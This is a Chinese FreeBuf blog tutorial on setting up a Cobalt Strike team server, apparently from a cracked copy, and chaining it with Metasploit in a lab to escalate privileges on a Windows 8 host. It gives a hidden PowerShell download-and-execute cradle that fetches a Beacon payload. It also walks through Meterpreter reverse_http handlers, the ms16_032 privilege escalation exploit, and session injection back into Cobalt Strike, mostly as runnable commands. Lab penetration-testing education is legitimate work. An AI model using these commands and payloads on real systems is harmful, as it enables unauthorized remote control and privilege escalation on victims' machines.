freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

CobaltStrike的使用(与MSF联动处理操作进行提权)
2024-02-26 15:26:31


CS使用方法简单介绍部署CS的使用监听器攻击载荷payload提权操作(与kali进行联动)

CS使用方法

简单介绍

1708931566_65dc39ee47a8cd4afe139.png!small?1708931566120

CS有两个,客户端和服务端,服务端可以部署在VPS上,客户端进行连接。


部署

  1. 查看vps是否有java环境:有就进行下一步,没有就安装java环境1.8

┌──(root㉿kali)-[/home/kali/Desktop/CS_server/Server]
└─# java -version
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
openjdk version "17.0.10-ea" 2024-01-16
OpenJDK Runtime Environment (build 17.0.10-ea+6-Debian-1)
OpenJDK 64-Bit Server VM (build 17.0.10-ea+6-Debian-1, mixed mode, sharing)

这里看到是有java17环境的,我们就进行下一步。

若没有java环境我们使用命令进行安装java环境:

(kali环境下安装)

1.更新软件包列表:
首先,确保您的软件包列表是最新的,使用以下命令更新:
sudo apt update

2.安装 OpenJDK:
在更新软件包列表后,您可以使用以下命令安装 OpenJDK
sudo apt install default-jdk
这将安装默认的 OpenJDK 版本。如果您想要特定版本的 OpenJDK,您可以替换 default-jdk 为相应的包名,例如 openjdk-11-jdk。

3.验证安装:
安装完成后,您可以使用以下命令验证 Java 安装是否成功:
java -version
这将显示已安装的 Java 版本信息。

4.设置 JAVA_HOME 环境变量(可选):
在某些情况下,您可能需要设置 JAVA_HOME 环境变量,以便系统中的其他程序能够找到 Java 的安装路径。您可以编辑 ~/.bashrc 文件并添加以下行:
export JAVA_HOME=/usr/lib/jvm/default-java
export PATH=$PATH:$JAVA_HOME/bin
请根据您的实际安装路径进行相应修改。

5.刷新环境变量:
更新 ~/.bashrc 文件后,使用以下命令使更改生效:
source ~/.bashrc

通过执行以上步骤,您应该能够在 Kali Linux 上成功安装 OpenJDK 环境。请注意,默认情况下,Kali Linux 已经包含了一些预安装的软件包,但如果您需要特定版本的 Java,则需要使用适当的软件包进行安装。

(centos安装openjdk环境)

1.更新软件包列表:
首先,确保您的软件包列表是最新的,使用以下命令更新:
sudo yum update

2.安装 OpenJDK:
在更新软件包列表后,您可以使用以下命令安装 OpenJDK:
sudo yum install java-1.8.0-openjdk
如果您想要安装其他版本的 OpenJDK,您可以使用相应的软件包名称。例如,安装 OpenJDK 11 可以使用 java-11-openjdk。

3.验证安装:
安装完成后,您可以使用以下命令验证 Java 安装是否成功:
java -version
这将显示已安装的 Java 版本信息。

4.设置 JAVA_HOME 环境变量(可选):
在某些情况下,您可能需要设置 JAVA_HOME 环境变量,以便系统中的其他程序能够找到 Java 的安装路径。您可以编辑 /etc/profile 或 ~/.bash_profile 文件并添加以下行:
export JAVA_HOME=/usr/lib/jvm/java-1.8.0-openjdk
export PATH=$PATH:$JAVA_HOME/bin
请根据您的实际安装路径进行相应修改。

4.刷新环境变量:
更新配置文件后,使用以下命令使更改生效:
source /etc/profile

通过执行以上步骤,您应该能够在 CentOS 上成功安装 OpenJDK 环境。请注意,OpenJDK 是 Java 的开源实现,通常与 Oracle JDK 相兼容,并且在大多数情况下可以满足需求。

1708931719_65dc3a87139af566f0918.png!small?1708931719285

1708931734_65dc3a9623d79b85547ff.png!small?1708931734144

  1. 将CobaltStrike的Server端内容传送到VPS服务器(通过scp命令将本地win文件传送到vps服务器)

命令:
scp local_file username@hostname:remote_path
将local_file替换为要传输的文件路径
remote_path替换为主机上目标路径

将E:\AttackTools\CobaltSrike_4.9.1_Cracked下的Server文件传送到Vps上的/目录上:
scp E:\AttackTools\CobaltSrike_4.9.1_Cracked root@1.94.50.200:/
这样报错E:/AttackTools/CobaltSrike_4.9.1_Cracked: not a regular file,
我们修改后:
scp -r E:/AttackTools/CobaltSrike_4.9.1_Cracked root@1.94.50.200:/

注意:
我们传送的是一个文件,需要使用-r进行递归
在windows环境下我们需要使用/路径

1708931752_65dc3aa878095232f1313.png!small?1708931752541

  1. 赋予权限:初始权限可能不够执行程序的,故开始赋予权限。

chmod 777 文件名  赋予读写执行所有权限
chmod +x 文件名  仅赋予执行权限
这里注意需要将teamserver文件和TeamServer文件都赋值x权限。

1708931773_65dc3abd84a917531d15e.png!small?1708931773526

  1. 开始启动软件服务

./teamserver vps的IP 密码

这里我们在kali上进行的部署:
kali的ip:192.168.100.130
./teamserver 192.168.100.130 123456

CS默认是50050端口,想更改的话,打开teamsever文件在其中将50050进行修改即可。

1708931786_65dc3acaa63a0ae05c1ab.png!small?1708931787196

windows主机进行连接:

1708931796_65dc3ad4628ace116dfbe.png!small?1708931796279

成功连接!!

  1. 网络上有教程说退出后就不再运行了问题。

链接:
https://blog.csdn.net/qq89115156/article/details/112385723#:~:text=%E5%85%AC%E7%BD%91%E6%9C%8D%E5%8A%A1%E5%99%A8%EF%BC%9ACentOS%207.6%2064%E4%BD%8D%E6%9C%AC%E6%9C%BA%E5%B7%B2%E4%B8%8B%E8%BD%BD%E5%A5%BD%EF%BC%9Acobaltstrike%203.14%2B%E6%AD%A3%E5%BC%8F%E7%89%88%E7%A0%B4%E8%A7%A3%2B%E6%B1%89%E5%8C%96%E4%B8%80.%20%E5%AE%89%E8%A3%85JAVA%20%E7%8E%AF%E5%A2%83yum%20install%20-y,%E7%94%A8%E4%BA%8E%E6%96%87%E4%BB%B6%E7%9A%84%E4%B8%8A%E4%BC%A0%20%E4%B8%8E%E4%B8%8B%E8%BD%BDyum%20install%20-y%20lrzsz%E5%AE%89%E8%A3%85%E5%AE%8C%E6%88%90%20%E5%B0%9D%E8%AF%95%20%E8%BE%93%E5%85%A5%20rz%E5%9B%9B..._centos%E5%90%8E%E5%8F%B0%E8%BF%90%E8%A1%8Ccobalstrika

解决:
安装screen
yum -y install screen
安装完成后启动CS服务。
然后ctrl+a+d关闭窗口并后台执行。
screen-ls查看。
screen -r 数字重新进入会话。




CS的使用

上线CS三步:
1.设置监听器
2.生成payload攻击载荷
3.目标机器运行,进行上线

监听器

CS内部有很多模块,但是使用CS首先就是要配置监听!!

参考链接:
https://blog.csdn.net/qq_44159028/article/details/118157559

1708931819_65dc3aeb7c7b13db80a7c.png!small?1708931819550

在我们建立新的监听器的时候,发现可选的payload类型有很多:

1708931831_65dc3af784fbf17690704.png!small?1708931831459

这里需要进行解释:

  • Beacon是什么?

·Beacon是CS的Payload

·Beacon有两种通信模式。一种是异步通信模式,这种模式通信效率缓慢,Beacon回连团队服务器、下载任务、然后休眠;另一种是交互式通信模式,这种模式的通信是实时发生的。

·通过HTTP、HTTPS和DNS出口网络

·使用SMB协议的时候是点对点通信

·Beacon有很多的后渗透攻击模块和远程管理工具-

  • Foreign

Foreign直译就是外部的,这里可以理解成对外监听器,这种类型的监听器主要作用是给其他的Payload提供别名,比如Metasploit 框架里的Payload,个人理解Foreign监听器在一定程度上提高了CS的兼容性。对外监听器的名称例如:

windows/foreign/reverse_https
  • Beacon类型?

HTTP 和 HTTPS Beacon

HTTP和HTTPS Beacon也可以叫做Web Beacon。默认设置情况下,HTTP 和 HTTPS Beacon 通过 HTTP GET 请求来下载任务。这些 Beacon 通过 HTTP POST 请求传回数据

windows/beacon_http/reverse_http
windows/beacon_https/reverse_https

DNS Beacon

windows/beacon_dns/reverse_dns_txt
windows/beacon_dns/reverse_http

SMB Beacon

SMB Beacon也可以叫做pipe beacon

windows/beacon_smb/bind_pipe

DNS Beacon解释:

DNS Beacon,顾名思义就是使用DNS请求将Beacon返回。这些 DNS 请求用于解析由你的 CS 团队服务器作为权威 DNS 服务器的域名。

DNS 响应告诉 Beacon 休眠或是连接到团队服务器来下载任务。DNS 响应也告诉 Beacon 如何从你的团队服务器下载任务

在CS 4.0及之后的版本中,DNS Beacon是一个仅DNS的Payload,在这个Payload中没有HTTP通信模式,这是与之前不同的地方

优点:木马隐蔽性好,受害者不开放任何端口,可以规避防火墙,走53端口

缺点:响应速度慢

攻击载荷payload

1708931845_65dc3b05c0dea659f4179.png!small?1708931845638

在此处的payload有很多类型,我们先解释常用的一个:

Attacks-->Scripted Web Deliver(s)--获得链接-->在对应系统内进行cmd执行即可

1708931866_65dc3b1a22cfae95c390f.png!small?1708931866300

1708931888_65dc3b302cea639fc7df4.png!small?1708931888025

成功上线!!

这里的思路是:获得对应主机的shell,然后我们执行这个操作,将会话传递到CS上进行操作,CS也可以将会话传到MSF,MSF模块有很多,对提权很有帮助,然后MSF也可将提权后的会话还给CS。



提权操作(与kali进行联动)

这里使用的是CS4.7版本!!!
环境:
悬剑win11作为CS客户端:192.168.100.147
kali2023作为CS服务端:192.168.100.130
kali2022作为msf攻击机:192.168.100.128
win8-64作为被攻击机:192.168.100.144

示意图:

1708931907_65dc3b4361abc1c1db29f.png!small?1708931907310

  1. kali已经启动CS4.5服务,悬剑也已经连接了CS服务器,并且配置了监听器。

1708931921_65dc3b5128e7e830b9bd0.png!small?1708931921430

  1. 配置payload并执行

1708931929_65dc3b59101aab4a61771.png!small?1708931929235

这里点击web投递。

1708931938_65dc3b62695c3fa5422fd.png!small?1708931938520

这里选择监听器后之际运行即可。

点击运行之后会给出一个命令:
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.100.130:80/a'))"

这个命令我们在win8-64的cmd窗口运行即可!

  1. 上线了

1708931946_65dc3b6aa614cfb3f9ac4.png!small?1708931946508


在interact界面输入:
sleep 1
意思是每一秒刷新一次。

1708931954_65dc3b72b2e2efabd575d.png!small?1708931954596

ok!!!

  1. 增加一个监听器(监听外部的kali的msf)

1708931964_65dc3b7c11fabad27455c.png!small?1708931964166

  • 进入kali的msf界面进行监听

    handler -H 192.168.100.128 -P 6666 -p windows/meterpreter/reverse_http
    kali的IP           端口 msf的模块

    1708931973_65dc3b854476c7a35fb97.png!small?1708931973127

    监听成功!!

  • 进入CS选择对应MSF的监听

1708931983_65dc3b8f8394a6f28ba94.png!small?1708931983530

1708931993_65dc3b99196c89c953dc5.png!small?1708931992951

  • 回到kali的msf界面查看

    1708932002_65dc3ba2a25461904baa9.png!small?1708932002818

成功得到shell!!

  1. MSF的建议(suggest模块multi/recon/local_exploit_suggester)进行提权操作

一些msf的命令:
sessions -l         查看所有获得的shell
sessions -i xx       使用xx的shell
getuid               查看这个shell的权限
bg   挂起shell放在后台
search suggest       列出建议
use                 使用模块
set session 1       将模块的目标设置为session1的会话
options 显示模块的设置选项
run       运行

clear               清屏
info                 查看特定模块的详细信息
  • 得到shell后首先看这个shell的权限

显示所有的会话:
sessions -l

1708932022_65dc3bb69254885daf503.png!small?1708932022560

选择这个会话:
sessions -i 1

1708932030_65dc3bbebae7c02b2ecf9.png!small?1708932030686

查看权限:
getuid

1708932038_65dc3bc63fbc26f6fb273.png!small?1708932038093

挂起会话到后台:
bg

1708932056_65dc3bd8217bb87e8435e.png!small?1708932056021

查找建议模块:
search suggest

1708932067_65dc3be375b159fb56a2e.png!small?1708932067614

这里看到suggest模块在第二位,我们进行选择使用。

选择第二位的suggest模块:
use 2
将模块目标设置为session1:
set session 1
查看search模块的选项:
show options
运行:
run

1708932080_65dc3bf026fb1e7a9d194.png!small?1708932080476

运行后的结果:

1708932093_65dc3bfd5f57e16320f30.png!small?1708932093963

  • 使用第三位的(exploit/windows/local/ms16_032_secondary_logon_handle_privesc)进行提权操作。

使用这个提权模块:
use exploit/windows/local/ms16_032_secondary_logon_handle_privesc
展示配置:
show options


1708932103_65dc3c07cfc98770c05d9.png!small?1708932104168

设置参数:
set session 1   将模块目标设置为session1
执行:
run

1708932124_65dc3c1c55c7603d9f0ea.png!small?1708932124388

1708932135_65dc3c27708ecce30e59c.png!small?1708932135712

提权成功!!!

  1. 将提权后的shell传送给CS

  • 将提权后的shell挂起在后台

将会话放在后台:
bg

1708932144_65dc3c301e83d305dbd27.png!small?1708932144322

这里看到挂起后的shell是session2。

  • 查找(payload_injuct模块),进行使用

查找:
search payload_inject
选择使用:
use 0
展示选项:
show options

1708932153_65dc3c399998ff1a32912.png!small?1708932153836

设置payload的目标:
set payload windows/meterpreter/reverse_http
设置lhost:
set lhost 192.168.100.130     这里是cs服务器的IP
set lport 5555                 这个是win11监听的端口
将session2也就是提权后的session注入进去:
set session 2
运行:
run

1708932180_65dc3c54712fb1125b059.png!small?1708932180438

注入session成功,看到PID是3192!!

  • 进入CS查看是否反弹成功

1708932189_65dc3c5dac7d6dbf26523.png!small?1708932189620

注入成功!!!

# 渗透测试 # 提权 # Cobalt strike # MSF渗透 # 内网提权
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录